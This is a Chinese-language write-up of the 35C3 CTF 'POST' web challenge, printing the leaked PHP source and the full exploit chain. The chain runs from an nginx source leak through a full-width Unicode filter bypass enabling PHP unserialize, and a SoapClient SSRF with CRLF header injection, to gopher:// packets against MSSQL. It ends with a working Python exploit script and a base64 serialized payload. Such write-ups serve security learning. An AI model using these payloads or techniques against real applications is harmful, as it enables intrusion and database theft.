35C3CTF POST WP

文章首发于先知社区:https://xz.aliyun.com/t/3775

被35C3虐惨了,POST这道题的利用链很有意思,在这里复盘一下。
官方Dockerfile+wp地址:https://github.com/eboda/35c3/tree/master/post
题目还没有关,地址:http://35.207.83.242/
题目给了3个提示

Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

源码读取

根据提示3可以发现上传文件目录存在Nginx配置错误,导致源码泄露
图片.png
把源码down下来进行审计,给了网站源码、miniProxy代理和Nginx配置文件。

关键源码
db.php

<?php

class DB {
    private static $con;
    private static $init = false;

    private static function initialize() {
        DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));
        if (!DB::$con) DB::error();

        DB::$init = true;
    }

    private static function error() {
        die("db error");
    }

    private static function prepare_params($params) {
        return array_map(function($x){
            if (is_object($x) or is_array($x)) {
                return '$serializedobject$' . serialize($x);
            }

            if (preg_match('/^\$serializedobject\$/i', $x)) {
                die("invalid data");
                return "";
            }

            return $x;
        }, $params);
    }

    private static function retrieve_values($res) {
        $result = array();
        while ($row = sqlsrv_fetch_array($res)) {
            $result[] = array_map(function($x){
                return preg_match('/^\$serializedobject\$/i', $x) ?
                    unserialize(substr($x, 18)) : $x;
            }, $row);
        }
        return $result;
    }

    public static function query($sql, $values=array()) {
        if (!is_array($values)) $values = array($values);
        if (!DB::$init) DB::initialize();


        $res = sqlsrv_query(DB::$con, $sql, $values);
        if ($res === false) DB::error();

        return DB::retrieve_values($res);
    }

    public static function insert($sql, $values=array()) {
        if (!is_array($values)) $values = array($values);
        if (!DB::$init) DB::initialize();

        $values = DB::prepare_params($values);

        $x = sqlsrv_query(DB::$con, $sql, $values);
        if (!$x) throw new Exception;
    }
}

default.php

<?php 
include 'inc/post.php';
?>
<?php
    if (isset($_POST["title"])) {
        $attachments = array();
        if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {

            $folder = sha1(random_bytes(10));
            mkdir("../uploads/$folder");
            for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
                if ($_FILES["attach"]["error"][$i] !== 0) continue;
                $name = basename($_FILES["attach"]["name"][$i]);
                move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
                $attachments[] = new Attachment("/uploads/$folder/$name");
            }
        }
        $post = new Post($_POST["title"], $_POST["content"], $attachments);
        $post->save();
    }
    if (isset($_GET["action"])) {
        if ($_GET["action"] == "restart") {
            Post::truncate();
            header("Location: /");
            die;
        } else {
?>
<h2>Create new post</h2>
<form method="POST" enctype="multipart/form-data">
<table>
<tr>
<td>
<label for="title">Title</label>
</td> <td>
<input name="title">
</td>
</tr>
<tr>
<td>
<label for="content">Content</label>
</td> <td>
<input name="content">
</td>
</tr>
<tr>
<td>
<label for="attach">Attachments</label>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr><td></td><td>
<input type="submit">
</td></tr>
</table>
</form>
<?php 
            }
    }

    $posts = Post::loadall();
    if (empty($posts)) {
        echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
    } else {
        echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
    }

    foreach($posts as $p) {
        echo $p;
        echo "<br><br>";
    }



?>

post.php

<?php
class Attachment {
    private $url = NULL;
    private $za = NULL;
    private $mime = NULL;

    public function __construct($url) {
        $this->url = $url;
        $this->mime = (new finfo)->file("../".$url);
        if (substr($this->mime, 0, 11) == "Zip archive") {
            $this->mime = "Zip archive";
            $this->za = new ZipArchive;
        }
    }

    public function __toString() {
        $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
        if (!is_null($this->za)) {
            $this->za->open("../".$this->url);
            $str .= "with ".$this->za->numFiles . " Files.";
        }
        return $str. ")";
    }

}

class Post {
    private $title = NULL;
    private $content = NULL;
    private $attachment = NULL;
    private $ref = NULL;
    private $id = NULL;


    public function __construct($title, $content, $attachments="") {
        $this->title = $title;
        $this->content = $content;
        $this->attachment = $attachments;
    }

    public function save() {
        global $USER;
        if (is_null($this->id)) {
            DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", 
                array($USER->uid, $this->title, $this->content, $this->attachment));
        } else {
            DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
                array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
        }
    }

    public static function truncate() {
        global $USER;
        DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid));
    }

    public static function load($id) {
        global $USER;
        $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
            array($USER->uid, $id));
        if (!$res) die("db error");
        $res = $res[0];
        $post = new Post($res["title"], $res["content"], $res["attachment"]);
        $post->id = $id;
        return $post;
    }

    public static function loadall() {
        global $USER;
        $result = array();
        $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
        if (!$posts) return $result;
        foreach ($posts as $p) {
            $result[] = Post::load($p["id"]);
        }
        return $result;
    }

    public function __toString() {
        $str = "<h2>{$this->title}</h2>";
        $str .= $this->content;
        $str .= "<hr>Attachments:<br><il>";
        foreach ($this->attachment as $attach) {
            $str .= "<li>$attach</li>";
        }
        $str .= "</il>";
        return $str;
    }
}

任意反序列化

可以发现DB类的query方法把接收sql语句后把执行结果丢给了retrieve_values方法,而该方法存在一处反序列化操作,且要求反序列化字符串开头为$serializedobject$
图片.png
而数据库插入方法中调用了prepare_params方法对插入值进行过滤
图片.png
prepare_params方法waf掉了对开头为$serializedobject$的字符串,导致我们无法执行反序列化操作。
可是MSSQL的一个trick进行绕过。
MSSQL会自动将全角unicode字符转换为ASCII表示形式。例如,如果字符串包含0xEF 0xBC 0x84,则将其存储为$。因此我们可以进行任意反序列化。

利用SoapClient SSRF

根据hint1,flag在数据库里,源码中含有数据库信息,因此我们可以利用SoapClient通过SSRF打MSSQL,前提是要能够触发它的__call方法。
Attachment__tostring方法中有一个$this->za->open操作,我们将SoapClient序列化为$za,然后触发其__tostring方法即可SSRF。
图片.png
default.php中实例化了Post类,把$_POST["title"], $_POST["content"], $attachments传了进去,并调用了save方法
图片.png
然后又调用loadall()方法执行数据库查询操作,此时会将返回值开头为$serializedobject$的字符串进行反序列化操作
图片.png
并将返回的值打印触发Post类的__toString方法,而返回值含有反序列化对象,因此又可以触发反序列化对象的__toString方法,从而可以SSRF。
构造exp

<?php
class Attachment {
    private $za = NULL;
    public function __construct() {
            $this->za = new SoapClient(null,array('location'=>'your_ip','uri'=>'your_ip'));   
    }
}
$c=new Attachment();
$aaa=serialize($c);
echo $aaa;

成功SSRF
图片.png

miniProxy绕过

由Nginx配置文件可知,miniProxy代理监听在本地的8080端口,且只接收Get请求

server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;

    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;

        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }
}

SoapClient发送的是POST请求
图片.png
但是SoapClientl_user_agent属性存在CRLF注入,我们可以通过\r\n再注入一个GET请求。
另外miniProxy只能代理http / https请求
图片.png
可以通过gopher:///绕过,因为miniProxy仅在设置host时验证http / https。或者可以重定向到一个gopher请求来绕过。

gopher攻击MSSQL

最后就是构造gopher请求打MSSQL了。因为对MSSQL不熟悉,这里我直接用官方的exploit.php。不过要注意gopher会在请求后加上一个\r\n,因此构造gopher请求时要在sql语句后加一个注释符-- -
通过插入DEBUG头我们可以获取到我们的UID
图片.png
生成payload
图片.png
写脚本上传文件

import requests
import base64

host="http://35.207.83.242/?"
post={
    "username":"aaaaaaaaaa",
    "password":"aaaaaaaaaa",
}

r=requests.Session()
url1=host+"page=login"
r.post(url=url1,data=post)
def fetch_uid():
    return r.get(host, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0]
payload=base64.b64decode("JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzk5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMSUwRSUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyMCUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMCUyMCUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwJTIwJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMCUyMCUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAyJTAwMCUwMDAlMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTJDJTAwJTIwJTAwJTI4JTAwcyUwMGUlMDBsJTAwZSUwMGMlMDB0JTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMCUyMCUwMGYlMDByJTAwbyUwMG0lMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwLiUwMGYlMDBsJTAwYSUwMGclMDAlMjklMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTI5JTAwJTNCJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==")
print(payload)
data={
    "title":"testssssssssssssss",
    "content":payload,
}
url2=host+"action=create"
r.post(url=url2,data=data)

刷新得到flag
图片.png